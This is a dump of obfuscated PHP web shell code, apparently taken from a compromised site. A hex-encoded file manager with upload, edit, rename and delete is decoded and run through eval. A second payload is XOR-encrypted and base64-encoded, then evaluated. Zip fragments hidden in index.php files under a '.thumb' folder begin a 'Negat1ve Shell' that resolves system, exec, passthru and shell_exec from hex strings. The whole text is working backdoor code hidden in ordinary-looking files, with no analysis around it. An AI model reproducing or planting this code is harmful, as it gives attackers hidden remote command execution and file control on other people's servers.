6F|20273C|612063|6C61|73733D22|61|6A7822|20|6872|6566|3D223F64|3D273B|0A20|20|2020|20|2020|2066|6F72|202824|69203D20|303B|20|24|69|203C3D20|246D|3B20|24|69|2B|2B2920|7B0A2020|20|20202020|20202020|2065|63686F|206865|7828246B|5B24|695D|293B0A|20202020|20202020|20|20|202069|66202824|692021|3D|20|246D29|206563|686F2027|3266273B|0A202020|2020|2020|20|7D|0A20|2020|20202020|206563|686F20|27223E27|2E24|6C2E273C|2F613E2F|27|3B0A20|20|20207D0A|2020|20|203F3E0A|3C|2F64|69|763E3C|6272|3E0A|3C646976|2069|643D|22|61637469|6F|6E|436F|6E|746169|6E65|72|223E3C|2F646976|3E3C6272|3E0A|202020|203C6469|76206964|3D22|66|696C|654C69|737443|6F6E74|61696E65|72223E0A|2020|20|20202020|203C|3F706870|0A202020|20202020|2024|656E74|72696573|203D|2073|63616E64|69|722824|6429|3B|0A20|20202020|20202024|6469724C|6973|74203D20|5B5D|3B|0A2020|2020|20202020|2466|696C65|4C6973|74203D20|5B5D|3B|0A20|20|2020|202020|2066|6F726561|63682028|24656E|7472|696573|206173|20|2465|6E74|72|7929|207B0A|2020|202020|2020|20|20|202020|6966|20|282465|6E7472|7920|3D|3D20272E|27207C7C|202465|6E7472|7920|3D3D|20|27|2E2E2729|20636F|6E74696E|75653B|0A|2020|2020|2020|202020|202020|2470|61746820|3D2024|64202E20|4449|524543|544F5259|5F534550|41|524154|4F|52|20|2E20|24|656E7472|79|3B|0A20|202020|2020|202020|202020|6966|202869|735F|646972|28247061|7468|2929207B|0A202020|202020|20202020|20202020|2020|24646972|4C69|73|745B5D|203D20|24|656E74|72793B|0A20|2020|20202020|20|2020|2020|7D20656C|73|65207B|0A2020|20|202020|202020|202020|20|20|2020|2466696C|654C|6973|745B|5D203D20|24|656E|7472|793B0A20|20|2020|2020|20202020|20207D0A|20202020|20202020|7D0A2020|2020|2020|20203F|3E0A20|202020|20202020|3C7461|626C653E|0A2020|20202020|202020|20|2020|3C|74686561|64|3E0A20|20|20202020|202020|20|202020|2020203C|7472|3E0A|20|202020|20202020|20|2020|202020|202020|2020|20|3C74683E|4E616D|653C2F|74683E|0A20|20|20202020|202020|202020|2020|202020|2020|203C|74683E53|697A653C|2F7468|3E|0A202020|2020|20202020|202020|202020|202020|20203C|74|683E41|637469|6F|6E733C|2F7468|3E|0A202020|202020|20202020|20202020|20203C|2F74723E|0A2020|20202020|20|20202020|203C|2F7468|6561643E|0A20|202020|20202020|2020|2020|3C7462|6F64|79|3E0A|20|20202020|20|20|20202020|20|3C3F|70|68700A|2020|20202020|20202020|2020|666F7265|6163|68|20282464|69724C69|7374|20|61732024|656E74|72792920|7B0A2020|202020|202020|20202020|2020|202024|7061|746820|3D20|2464|202E|2044|4952|454354|4F5259|5F534550|415241|544F5220|2E202465|6E747279|3B0A20|20|20202020|20202020|202020|20|202065|6368|6F20|27|3C74|723E|273B|0A|20202020|2020|202020|2020|20|20202020|656368|6F20|273C|7464|3E|3C61|20|63|6C61|73733D|22616A61|78|446972|222068|726566|3D|223F64|3D|27202E|206865|78|282470|61|7468|29202E20|2722|3E|27202E|20|6874|6D6C73|70|65636961|6C636861|7273|28|2465|6E7472|7929|202E20|27|3C2F61|3E3C2F|74|643E|273B0A20|20202020|20|202020|20|20|202020|2020|65|63|686F2027|3C74643E|2D3C2F|7464|3E273B0A|2020|202020|20202020|202020|20|202020|65|63686F20|273C7464|3E3C2F|74|643E273B|0A|202020|20202020|202020|20|20|202020|20|6563686F|20273C|2F7472|3E|27|3B0A|20202020|2020|2020|20202020|7D|0A202020|2020|20|2020|20|20202066|6F72|656163|68|20282466|696C65|4C|6973|74206173|2024656E|74727929|20|7B|0A2020|20|2020|20202020|202020|20|2020|2024|70|6174|6820|3D202464|202E|20|444952|4543|544F|52|595F5345|50|41524154|4F52|202E2024|656E74|72793B0A|20|2020|20202020|20|2020|202020|2020|206563|68|6F|2027|3C|7472|3E273B|0A202020|202020|2020|20202020|202020|2065|63686F20|27|3C7464|3E2720|2E20|68|746D|6C737065|63|69|616C6368|617273|2824656E|747279|29|202E2027|3C|2F74|64|3E273B|0A202020|20|20202020|2020|2020|2020|20206563|686F|20|273C74|64|3E|27202E|20|2869|735F66|69|6C|652824|706174|682920|3F2066|696C|657369|7A65|28247061|746829|202E20|27|2062|797465|7327|203A2027|2D2729|202E|20273C2F|7464|3E|273B|0A|202020|2020|202020|20202020|20202020|6563|686F20|273C74|64|3E|273B0A20|20202020|20|2020|20202020|20202020|656368|6F2027|3C612063|6C6173|733D|22|616A6178|4564|69|74|2220|68|726566|3D|22|3F6163|74696F6E|3D6564|69|74|2664|3D2720|2E206865|7828|24642920|2E202726|66696C|653D27|20|2E20|75|726C|65|6E636F|64652824|656E7472|79|29202E|202722|3E4564|69743C|2F613E|207C20|273B|0A|20|2020|2020|20202020|20|20|2020|20|20|20656368|6F20273C|61|20636C|6173|733D2261|6A617852|656E616D|65|22206872|65|663D|223F|6163|74696F|6E3D72|65|6E61|6D652664|3D27202E|2068|65782824|6429202E|202726|66696C|65|3D2720|2E20|75726C|656E|636F64|65|2824|656E|74|72|792920|2E202722|3E|52656E61|6D|653C2F|613E207C|20|273B0A20|202020|2020|2020|2020|20202020|2020|656368|6F20273C|612063|6C|617373|3D22|616A|61784465|6C65|7465|22206872|65|66|3D223F61|63|7469|6F6E|3D64|656C6574|6526643D|27|20|2E20|6865|782824|6429202E|20|2726|6669|6C|653D2720|2E|2075|726C|656E|636F6465|2824656E|747279|29202E20|27223E|44656C|65|7465|3C|2F|61|3E273B|0A202020|20|202020|2020|202020|20202020|6563|686F2027|3C2F7464|3E273B|0A|202020|2020|2020|202020|202020|20|20|20656368|6F20273C|2F|74723E27|3B|0A202020|2020|20202020|202020|7D0A20|202020|20202020|2020|20203F3E|0A2020|2020|20|2020|2020|2020|203C2F74|626F64|793E0A20|2020|20202020|203C|2F746162|6C|653E|0A|20|20|20203C|2F|6469763E|0A3C2F64|69|76|3E|0A0A|3C6469|76|20636C61|73|73|3D226E6F|746966|69636174|69|6F6E|222069|643D226E|6F7469|6669|6361|74696F6E|222073|7479|6C|653D22|646973|706C6179|3A6E|6F|6E65|3B|22|3E3C|2F64|6976|3E0A|0A3C7363|726970|743E0A2F|2F|20|53686F|7720|6E6F7469|66696361|74696F6E|20|696E|20746865|20626F|7474|6F6D20|6C656674|2063|6F726E|65723B20|61|75746F|2D|6469736D|69737320|616674|65722032|20736563|6F|6E6473|2E0A6675|6E6374|69|6F|6E|2073686F|774E|6F74|6966|69636174|696F|6E287374|61747573|2C20|6D736729|207B0A20|20|20207661|7220|6E6F74|6966203D|20646F63|756D65|6E|742E67|65|74456C|656D|656E7442|7949|642827|6E|6F|74696669|63|61|74|69|6F6E|27293B|0A20|202020|6E|6F7469|66|2E636C61|7373|4E61|6D6520|3D20|276E6F|74|6966|6963|617469|6F6E20|2720|2B20|737461|7475|733B0A20|2020|206E|6F74|69662E|69|6E6E|657254|6578|7420|3D206D73|673B0A20|202020|6E6F7469|66|2E7374|796C652E|6469|73|70|6C617920|3D202762|6C6F636B|27|3B|0A20|20202073|65|745469|6D65|6F757428|66|756E6374|696F6E28|29|7B206E|6F7469|662E|7374796C|652E64|6973706C|61|79203D|20276E6F|6E65|27|3B207D|2C20|3230|303029|3B|0A|7D0A0A66|756E|6374696F|6E|20|6C6F6164|4272|65616463|72|756D62|28|29207B0A|202020|20|766172|2064|203D|20|6765|7451|75|6572|7950|617261|6D2822|6422|29207C7C|2022|3C3F7068|70|206563|686F2068|657828|2464|293B|203F|3E223B0A|20|20202066|65746368|28273F|64|3D27202B|206420|2B202726|616A61|783D6272|656164|6372756D|62272C20|7B206865|616465|72|733A20|7B20|27|582D5265|71|756573|746564|2D|576974|68273A|2027584D|4C487474|70|52|6571|7565|7374|27207D|207D|290A2020|2020|2E|74|68656E28|726573|70|6F6E73|65203D3E|2072|65|7370|6F6E7365|2E746578|7428|2929|0A20|2020202E|7468|656E28|68746D|6C|203D3E20|7B0A2020|2020|2020|2020646F|63756D|656E742E|67|6574456C|656D|656E7442|794964|28276272|6561|64|63|72756D62|436F6E|746169|6E|65|722729|2E69|6E6E6572|48544D|4C|203D|206874|6D6C|3B|0A2020|20|207D29|3B|0A|7D|0A0A6675|6E63|74|69|6F6E20|676574|51756572|795061|72|61|6D286E61|6D652920|7B0A|20|20|202063|6F6E|7374|20|75726C50|6172|61|6D73|203D|206E|65|77|20|55|52|4C|53656172|636850|61|72616D73|2877696E|646F77|2E6C6F|636174|696F|6E2E|73656172|63|68293B|0A20|20202072|65|747572|6E207572|6C5061|72616D73|2E67|6574|286E|616D6529|3B0A7D0A|0A66|756E|637469|6F6E|20|6C6F|6164|4669|6C654C|697374|2829207B|0A2020|20207661|722064|203D2067|65|745175|65|72|79506172|61|6D|28226422|29207C7C|2022|3C3F70|6870|20656368|6F2068|65|7828|2464293B|203F3E22|3B0A2020|20|20666574|63682827|3F|643D|2720|2B2064|202B2027|26616A|61|783D3127|2C|207B2068|65|61646572|733A20|7B20|27|582D52|65717565|73746564|2D|57697468|273A|2027584D|4C|48747470|5265|71|756573|742720|7D20|7D29|0A|20202020|2E7468|656E2872|65|7370|6F6E7365|203D3E20|72|6573706F|6E|73652E|7465|7874|282929|0A|20202020|2E746865|6E|28|68746D6C|203D3E20|7B0A|2020|20|20202020|2064|6F63|756D|656E742E|67657445|6C656D|656E74|427949|64|282766|696C|65|4C697374|436F|6E|746169|6E6572|27292E69|6E6E|65724854|4D4C203D|206874|6D6C|3B|0A20|20202020|20|2020|61747461|6368|416A|61784576|656E|747328|293B202F|2F|2072|656174|746163|68|2065|76656E74|73|206166|74657220|757064|6174650A|202020|2020|2020|20726573|65744669|6C65496E|7075|744C6162|65|6C28|293B0A20|20|20|20|7D293B0A|7D|0A0A|6675|6E6374|696F6E|20726573|6574|46696C65|49|6E707574|4C|616265|6C282920|7B0A2020|2020|76|6172206C|61|62656C|203D20|64|6F6375|6D65|6E742E|67657445|6C656D65|6E744279|496428|2766696C|65|4C|6162|65|6C27|293B0A|20202020|69|66|286C6162|656C2920|7B0A2020|20202020|2020|6C|6162|65|6C|2E746578|74436F6E|7465|6E7420|3D2022|43686F6F|7365|2046696C|6522|3B0A|2020|20207D|0A7D|0A0A|6675|6E63|74696F|6E20|61|74|74616368|416A|61784576|656E|74732829|207B|0A202020|20|64|6F63|756D|65|6E74|2E|717565|7279|53656C65|6374|6F7241|6C6C2827|2E61|6A61|7844|656C6574|652729|2E666F72|45|616368|286675|6E|63|74|69|6F6E286C|696E6B|29207B|0A2020|202020|2020|20|6C696E|6B|2E6164|64|4576656E|74|4C69|737465|6E|6572|282763|6C69636B|272C20|66|75|6E|637469|6F|6E2865|2920|7B0A20|2020|20202020|2020|202020|65|2E707265|76656E74|4465|6661|75|6C742829|3B0A20|202020|202020|20202020|20|66657463|68286C69|6E6B|2E6872|65662C|207B2068|6561|64657273|3A207B|2027|582D|52657175|65737465|642D5769|74|68|273A20|27|58|4D|4C|487474|70526571|75657374|27207D|207D290A|202020|20202020|20|2020|20202E|7468656E|28726573|706F|6E|7365|203D|3E2072|65|73706F6E|73|65|2E6A|736F6E|2829290A|2020|20|2020|202020|20202020|2E|74|68|656E2864|6174|61203D|3E|207B|0A2020|202020|202020|202020|202020|2020|73686F|774E|6F74|69666963|6174|696F|6E286461|7461|2E|73746174|7573|2C206461|7461|2E6D7367|293B0A|20|20|20202020|2020|20|20|20202020|2020|6C6F|616446|696C654C|6973|74|28293B0A|20202020|2020|20|202020|20|20202020|20726573|657446|696C65|496E7075|74|2829|3B|0A2020|2020|2020|2020|20|2020207D|293B0A|202020|2020|2020207D|293B0A|20202020|7D293B|0A2020|202064|6F6375|6D|656E74|2E71|7565|72|79|53656C|65|6374|6F72416C|6C28272E|616A6178|4564|69|74|2729|2E666F72|45|6163|68|28|66756E|6374696F|6E|286C|696E6B29|207B|0A202020|2020|2020206C|696E6B|2E61|64|6445|76656E|744C|69|737465|6E6572|2827|636C69|636B|272C|206675|6E637469|6F6E28|6529207B|0A20|20|20202020|20202020|2020652E|707265|76|65|6E74|446566|61|756C74|28293B0A|202020|2020|20202020|20|20|206665|74|63|6828|6C696E6B|2E687265|662C207B|2068|65|6164|657273|3A207B|202758|2D|5265|71|75|65|73746564|2D5769|746827|3A20|2758|4D4C|48|747470|52|6571|7565|7374|2720|7D20|7D29|0A2020|20|2020|20202020|202020|2E|7468656E|28726573|706F|6E736520|3D|3E|207265|7370|6F|6E7365|2E746578|74282929|0A202020|2020|20202020|20|20202E74|68|656E28|68746D6C|203D3E20|7B0A20|2020|20|20|20202020|20|20|20202020|20|646F63|756D656E|74|2E676574|456C656D|656E|74|42|794964|282761|63|7469|6F6E436F|6E74|61696E|657227|29|2E69|6E6E6572|48|544D4C|203D2068|746D6C3B|0A2020|20|20|202020|20202020|2020|20|2020|61|747461|63|68|416A61|78466F72|6D|28|293B0A20|20202020|202020|20|20|202020|202020|61747461|63|6843|616E63|65|6C|457665|6E7428|293B0A20|20|202020|202020|20|202020|2020|20|207265|73|65|74|46696C65|496E|7075|744C6162|656C28|293B0A|202020|202020|20202020|20|2020|2020|20|726573|65744669|6C|65496E|70757428|293B0A20|20202020|20|20|20202020|207D293B|0A202020|202020|20207D|29|3B0A2020|20207D|29|3B|0A20|20|2020646F|63756D|656E742E|7175|6572|79|53656C65|6374|6F72|416C|6C28272E|61|6A61|78|52656E61|6D|6527|292E66|6F|7245|616368|28|66756E|637469|6F6E286C|696E6B29|20|7B0A20|20|202020|2020206C|696E6B|2E6164|644576|65|6E74|4C69|7374|656E65|72|2827|636C69|636B|27|2C2066|756E63|74696F|6E28|6529|20|7B0A20|202020|20202020|20202020|652E|70|72|65|76656E74|446566|61|756C74|28|293B0A20|20202020|20202020|20|2020|6665|74|63|6828|6C696E6B|2E68|7265|662C20|7B206865|61646572|733A20|7B|202758|2D526571|756573|746564|2D|576974|68|27|3A20|27|584D4C48|74|74|705265|7175|65737427|207D207D|290A2020|20|20202020|20202020|202E7468|656E2872|6573706F|6E|73|65203D|3E20|7265|73706F|6E|73652E74|65|787428|29290A20|2020|202020|2020|2020|20202E74|6865|6E2868|746D6C|203D3E|207B0A|202020|20|2020|2020|20|2020|2020|2020|20646F|63756D65|6E742E67|65|74|456C|656D65|6E74|42|79496428|27|61|6374696F|6E|43|6F6E|7461|696E65|7227|29|2E|696E|6E65|724854|4D|4C20|3D|20|6874|6D6C3B0A|20|20|20|202020|202020|202020|2020|2020|6174|746163|68416A61|78466F|726D28|293B0A|20202020|202020|20|20202020|20202020|617474|61|63684361|6E|6365|6C457665|6E74|28|293B0A20|20|202020|2020|20|20202020|202020|20726573|65744669|6C65|496E|7075744C|616265|6C28293B|0A202020|20|20|20|20202020|202020|20|20207265|7365|7446|696C|65496E70|7574|28|293B0A20|202020|20202020|20202020|7D29|3B0A20|202020|2020|20207D29|3B0A20|20|20207D29|3B0A2020|2020646F|63756D65|6E742E|71756572|795365|6C65|6374|6F72416C|6C|28|27|2E61|6A|6178|44697227|292E66|6F|72|45|61|63|6828|6675|6E6374|696F|6E286C|69|6E6B2920|7B0A20|20|20206C|696E|6B|2E6164|64|457665|6E74|4C69|73|7465|6E657228|27636C69|636B27|2C206675|6E63|74696F6E|28652920|7B0A|20202020|20|20|20|20|652E7072|6576|65|6E744465|6661|756C|74|28293B0A|202020|202020|20|20|77|696E|64|6F77|2E68|6973746F|72792E70|75736853|7461|7465|28|6E756C|6C2C|2027|27|2C206C|696E|6B2E68|72|6566|293B|0A2020|20202020|20|206C6F|6164|46696C|654C6973|74|28|293B|20202F2F|2052656C|6F616420|7468|65|206669|6C65|206C6973|74|0A|20|2020|2020|2020206C|6F61|64|42|726561|646372|756D6228|293B202F|2F205265|6C6F6164|20746865|20|62726561|64|6372|756D|620A20|202020|20|202020|72|65|73657446|696C|65496E|7075|744C6162|656C|2829|3B|0A2020|202020|20|20|20|72657365|74|46696C65|496E7075|742829|3B|0A2020|2020|7D29|3B0A|7D293B|0A|7D0A0A66|756E63|7469|6F6E20|61747461|636841|6A61|78|466F|72|6D|28|29207B0A|202020|20646F|63|756D65|6E742E|717565|72|795365|6C|6563746F|72416C6C|28|27|2E616A61|78|46|6F|726D27|29|2E|66|6F724561|63682866|756E|6374|696F6E|2866|6F72|6D|2920|7B|0A|2020|20202020|2020|666F|72|6D|2E|61646445|76|656E74|4C69|7374656E|657228|27737562|6D69|74|272C20|66|756E|6374|696F6E28|6529|207B|0A202020|202020|20202020|202065|2E|7072|657665|6E7444|656661|756C|7428293B|0A20|20|202020|2020|20|20202020|76617220|66|6F726D44|6174|61203D20|6E65|7720|46|6F726D44|6174|61|28666F|726D|293B|0A20|2020|2020|202020|202020|2066|6574|6368|28666F|726D|2E61|63|7469|6F6E2C20|7B20|6D|65|74|686F643A|2027504F|5354272C|20|62|6F6479|3A2066|6F726D44|61|7461|2C2068|65616465|7273|3A20|7B202758|2D|5265|71|756573|74|65642D|5769|74|68273A20|2758|4D|4C4874|7470|52657175|65|73742720|7D207D29|0A20|20|20|2020|20202020|2020|202E7468|65|6E2872|6573706F|6E|7365|203D3E|207265|73|70|6F6E7365|2E|6A736F6E|28|29290A|2020|2020|20|20|2020|20202020|2E7468|656E|28|64|617461|203D3E|207B|0A|202020|202020|20202020|202020|202020|7368|6F|774E6F|74696669|6361|7469|6F6E|28|6461|74612E|737461|7475732C|2064|61|7461|2E6D|736729|3B0A20|20|202020|2020|20202020|2020|20|2020646F|63756D|656E74|2E67|657445|6C656D|656E74|42794964|2827|61637469|6F6E|43|6F6E|746169|6E657227|29|2E696E6E|65724854|4D4C20|3D20|27273B|0A20|2020|2020|20|202020|202020|2020|2020|6C6F6164|46696C|654C6973|74|2829|3B0A20|20|20|202020|202020|20|202020|20|202072|657365|744669|6C|65496E|707574|4C61|6265|6C|28|29|3B|0A2020|2020|202020|202020|20207D29|3B0A|202020|2020|20|20207D29|3B|0A20|2020207D|29|3B0A7D|0A0A66|756E63|7469|6F|6E20|617474|61|63|68|43616E63|65|6C4576|65|6E74|2829|207B|0A202020|2076|61722063|616E6365|6C4274|6E20|3D|20|64|6F|63756D|656E|74|2E|6765|74456C|656D65|6E74|427949|6428|2763616E|63656C41|63|74696F|6E27293B|0A202020|20|6966|28|63616E63|656C|42|74|6E|29207B0A|2020|20202020|20|2063|616E|6365|6C4274|6E2E|6164|64|45|76656E|74|4C6973|74656E65|72|2827636C|69|636B27|2C2066|75|6E|6374|69|6F6E28|29207B0A|2020|20|202020|2020|20|20202064|6F|6375|6D656E|74|2E67|6574456C|656D|65|6E|744279|49642827|61|6374|696F6E|43|6F6E|74|61|696E6572|27292E|696E6E65|72|48544D4C|20|3D202727|3B0A2020|20|2020|20202020|20202072|65|73657446|696C65|496E7075|74|4C616265|6C28|293B0A|20|202020|20|20|2020|7D|293B0A|2020|2020|7D0A7D0A|0A66|756E63|74696F|6E20|7265|7365|7446|69|6C6549|6E|70757428|29207B0A|20|2020|20|76|61722066|696C65|49|6E7075|74203D|20|646F6375|6D656E|742E|67|657445|6C656D65|6E744279|49|6428|2766696C|65496E70|757427|293B|0A|202020|20766172|2066|696C|654C|6162|656C20|3D2064|6F6375|6D656E|74|2E|67|657445|6C65|6D65|6E744279|49642827|6669|6C654C61|62|656C|27293B|0A202020|20|696620|2866696C|65|49|6E70|757429|20|7B|0A20|2020|20|202020|206669|6C|6549|6E|70|75742E|7661|6C756520|3D2022|223B20|2F2F|20436C|65|6172|20616E|792073|656C|65|63746564|206669|6C650A20|2020207D|0A202020|2069|6620|28|66696C65|4C616265|6C29207B|0A|202020|20202020|20|66696C65|4C|616265|6C2E7465|787443|6F6E7465|6E|74203D|2022|43686F|6F|736520|46|69|6C6522|3B|20|2F2F20|5265|736574|206C6162|656C2074|6578|740A|20202020|7D0A|7D|0A0A646F|63|756D65|6E742E61|64|6445|76656E74|4C69|737465|6E|65722827|444F4D43|6F6E7465|6E744C|6F61|6465|64|272C20|66756E63|7469|6F6E2829|207B0A20|2020|20617474|616368|416A6178|45|7665|6E7473|2829|3B0A|2020|20|20|7661|7220|66696C|65496E70|7574|203D|2064|6F63|75|6D656E74|2E6765|7445|6C656D65|6E7442|7949|6428|2766696C|6549|6E70|75|7427293B|0A2020|20|2076|61722075|70|6C6F|61|64466F|726D20|3D2064|6F6375|6D656E74|2E67|65|74|456C|65|6D|656E|744279|49|64|28|27|75|706C6F61|64466F72|6D27|293B0A0A|202020|20|66696C65|496E|707574|2E616464|4576|65|6E744C69|7374656E|65722827|6368616E|6765|272C|2066|756E63|74696F6E|2829207B|0A2020|20|20|20202020|76|6172206C|6162656C|20|3D20646F|6375|6D656E|742E67|65|7445|6C65|6D656E74|4279|4964|28276669|6C654C61|62656C27|29|3B0A|20|20|202020|20|2020|6966|2866|696C|65|496E|7075|742E6669|6C65732E|6C|656E|677468|203E|203029|207B0A|20|2020|20202020|20|20|2020206C|6162|656C2E74|65787443|6F6E74|656E7420|3D206669|6C65|496E|7075742E|66|696C65|735B|305D|2E|6E616D|653B0A|202020|20202020|207D|20|656C|7365|207B0A20|20|202020|20|20202020|2020|6C6162|656C2E74|65|78|74|436F|6E7465|6E74203D|20224368|6F6F|7365|20|4669|6C65223B|0A20|20|20|20|20|2020|207D|0A20|20|20|20|7D29|3B0A0A|20|20|202069|6628|75706C6F|616446|6F726D29|207B|0A20|202020|20202020|7570|6C6F|616446|6F72|6D|2E6164|64|457665|6E744C|69|737465|6E6572|28|27737562|6D6974|272C20|66756E63|74|696F6E28|652920|7B0A2020|2020|202020|202020|20|20|652E70|726576|656E74|446566|61756C|7428|293B|0A|202020|2020|202020|2020|20206966|28|66696C65|496E|7075|74|2E6669|6C6573|2E6C656E|67|746820|3D3D3D|2030|292072|65747572|6E3B|0A0A2020|2020|20202020|20|2020|2076|6172|2066696C|6520|3D|2066|696C|65496E70|75742E|66|696C65|735B|305D3B|0A|20|20|20|20|2020|20202020|20|20766172|2072|65|616465|72203D|206E6577|204669|6C6552|65|61|64657228|293B0A0A|202020|2020|20|202020|20|2020|7265|61|6465722E|6F6E6C6F|6164|20|3D2066|756E6374|69|6F|6E2865|76|656E|742920|7B0A|202020|20|202020|20202020|2020|202020|76|6172|20|6172|7261|79|427566|6665|7220|3D|206576|656E74|2E7461|72|67|65|742E7265|7375|6C|743B0A20|20|20202020|202020|202020|2020|2020|76|6172|206279|746573|20|3D206E|65|7720|55696E|74|3841|72726179|28617272|61794275|666665|7229|3B0A2020|2020|202020|20|2020|20202020|2020|766172|20|68|65785374|72696E|67203D20|27273B|0A20|20202020|202020|202020|202020|20|20|666F|72|202876|61722069|203D|20|303B20|69203C20|627974|65|732E6C65|6E6774|68|3B20692B|2B2920|7B|0A20|2020|202020|202020|2020|20|202020|202020|20206865|7853|74|72696E67|202B|3D2062|79746573|5B695D|2E|746F5374|7269|6E|67283136|292E7061|6453|74|617274|28322C|20273027|293B0A20|20|2020|2020|202020|20|20202020|20|207D|0A0A|20|2020|20|20202020|2020|202020|20|2020|76|61722066|6F726D44|61|74|61|203D20|6E|65772046|6F726D|446174|6128293B|0A20|2020|2020|20202020|202020|2020|2020|666F726D|446174|612E61|70|70656E|64|28226265|6E6B|79|6F222C20|66|696C|652E|6E61|6D6529|3B0A2020|2020|202020|2020|2020|20202020|20|666F72|6D446174|612E6170|70|656E64|28226461|6B65|6A61|222C|20|68657853|74|72|696E6729|3B0A0A|20|202020|2020|20202020|20|202020|202066|65|746368|28|7570|6C6F|6164|466F726D|2E6163|74696F|6E207C7C|2077696E|646F77|2E|6C6F6361|74|69|6F6E|2E687265|662C20|7B0A20|20|20202020|20|20|20|20202020|2020|20|2020|20206D65|74686F64|3A|20|2750|4F53|54272C|0A2020|202020|202020|20202020|20|202020|2020|20|20626F|64793A|2066|6F726D44|6174|612C0A20|20202020|20202020|20|20202020|20|20|20202020|686561|64|65|7273|3A207B|2027|582D|52|657175|6573|746564|2D5769|7468|27|3A|2027584D|4C48|747470|526571|756573|7427|20|7D|0A20|20|2020|202020|20|20|2020|20|20|202020|7D|29|0A202020|20202020|2020|20|2020|20|202020|2E746865|6E287265|7370|6F6E7365|203D|3E20|726573|706F6E73|652E6A73|6F6E|28|2929|0A2020|20202020|202020|20202020|2020202E|7468656E|28|64|61746120|3D3E|207B|0A202020|20202020|20|2020|202020|20202020|20|20|2073|68|6F774E|6F|74696669|6361|74|69|6F6E2864|6174|612E7374|6174|75|732C|20|6461|7461|2E6D7367|293B0A20|2020|2020|202020|20202020|20202020|202020|2075706C|6F61|64466F|726D2E72|657365|7428|293B|0A|20202020|20|202020|202020|20202020|202020|20|20726573|65744669|6C65496E|707574|4C616265|6C|28293B0A|2020|20|2020|2020|20202020|2020|202020|20202020|6C6F61|644669|6C|65|4C|69737428|29|3B0A2020|20|2020|20202020|20202020|2020|207D29|3B0A20|2020|20|20202020|202020|207D|3B|0A0A20|2020|20|2020|2020|2020|2020|7265|61|646572|2E726561|64417341|72726179|42|75666665|722866|69|6C|6529|3B0A20|2020|202020|20207D|293B|0A2020|2020|7D0A|7D293B0A|3C2F|73|637269|70743E|0A3C666F|6F7465|7220636C|61|73|733D22|66757465|72223E0A|0909|090926|636F|70793B20|7A|6569|6E68|6F726F|626F73|750A0909|093C2F|666F6F|746572|3E0A3C2F|62|6F6479|3E0A3C2F|68746D6C|3E0A";$xmioxniqwnitwqqwtwxx11=str_replace("|", "", $list);$gstatic=xmxmxnianntt($xmioxniqwnitwqqwtwxx11);return $gstatic;}}$hover=new nigwqgqwtqwtqwt();$letter=$hover->nigwqgqwtqwtqwti();eval(wkqtonxx().$letter);function wkqtonxx(){}function xmxmxnianntt($margin){$background='';for($i=0;$i<strlen($margin);$i+=2){$background.=chr(hexdec($margin[$i].$margin[$i+1]));}return $background;} eval((function($d,$k,$n){$x=function($d,$k){$o='';for($i=0;$i<strlen($d);$i++)$o.=$d[$i]^$k[$i%strlen($k)];return $o;};$b=$n[0].$n[1].$n[2];return $x($b($d),$k);})( 'fA0/LFdXQFU1LTUrV14SCXhebXcHAQQBYUlqeQhxc3ESCjsmW2hxBmAOHhYFUVtgFSk1MGdofl4ZMDkweVdAU39CV0oWU1pVLDA+YA8QFQFhS2JwBgQGBmleYU04FEJGNw01I11cEgl4UXslX0BGTXBdBRN3YmRxCiJ9CGZkYmd/JHNgFBYSEAcqHxJkdWBvfzEOFGJjFWl4WGd9EhddUj5ec2ANEBBcLA0qMwgfHRZ4Q3piWkRGRGJWdWIJPTgQKxw2JmdCXhRlWX4wQF9GWzsWNmAcEBZrCzwIFndiaRMQLQ4QbXh9ZwxeB2AcEBZrCzwIFndiaRMKPAsVd2Nmaw0rE2dvCz8+fBQ/M0FRVVF4RHpiwq+hkXg/MyxXEEdENBY7JFdCElAxGDEzV0MIaDZdKSVeVmdGNFthTTgURlE0HD0yU11zRDEsKCwSDRIWMA0uMEEKHRs5CTNuRlVeUT8LOy0cX0BTdxs1NBZEV1g9HighX2RdXz0XdTNXXlZ5PQopIVVVEA9Vc34kU0RTFGVZAWdRWFNABxA+ZxINDBR8GjIhRnlWGHheLiVKRBUUZUd6ZF9VQUc5Hj8dCT04EDsRen0SU0dGNCYzLltEGh1jdFAjR0JeayscLi9CRBoQOxF2YHFlYHgXKQ4fZ2J+GHhdLiVeVVVGORQbMFtlQFhxQldKUUVAWAcKPzRdQEYcfBoybBJzZ2YUNgoUbWB9ZwxVejRARVcdY3RQI0dCXmsrHC4vQkQaEDsRdmBxZWB4FykOH2J/YWAeMB8MdmMeFHwdOzRTGQk5UhovMl5vQVEsFio0GhRRXHRZGRVgfH1kDCYIBWZlYHoMKxsOYXZ3ZnRZLjJHVRsPVXM5NUBcbVEgHDloFlNaHWN0UCNHQl5rOxU1M1cYFlcwUGE=', 'XyZ@2024', ['base','64_','decode'] )); ?>PK �6�[��f��� �� index.phpnu �[��� PK I �� IXR.zip 0000644 00000077164 15125140677 0005761 0 ustar 00 PK !C�[�/P��} �} .thumb35363/index.phpnu �[��� hmei7 <?php $shellName = 'Negat1ve Shell'; $logo = 'https://static.wikia.nocookie.net/central/images/1/12/Pacman2.jpg'; $func = ["7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65", "7363616e646972", "73797374656d", "65786563", "7061737374687275", "7368656c6c5f65786563", "6f625f6765745f636f6e74656e7473", "6f625f656e645f636c65616e", "6469726e616d65", "6469736b5f746f74616c5f7370616365", "6469736b5f667265655f7370616365", "696e695f676574", "707265675f6d617463685f616c6c", "706f7369785f6765747077756964", "706f7369785f6765746772676964", "70617468696e666f", "66696c656f776e6572", "66696c6567726f7570", "66696c6574797065", "676574486f73744e616d65", "676574486f737442794e616d65", "737562737472", "737472737472", "696e695f736574", "66696c65", "7374725f7265706c616365", "6578706c6f6465", "6576616c", "6f625f7374617274", "66756e6374696f6e5f657869737473", "6572726f725f7265706f7274696e67", "7365745f74696d655f6c696d6974", "636c656172737461746361636865", "646174655f64656661756c745f74696d657a6f6e655f736574", "666c757368", "7374726c656e", "7472696d", "656d707479", "6973736574", "66696c657065726d73", "7374726c656e", "636f756e74", "726f756e64", "6d696d655f636f6e74656e745f74797065", "6765745f63757272656e745f75736572", "6765746d79756964", "6765746d79676964", "706f7369785f67657465756964", "706f7369785f67657465676964"]; for ($i = 0; $i < count($func); $i++) { 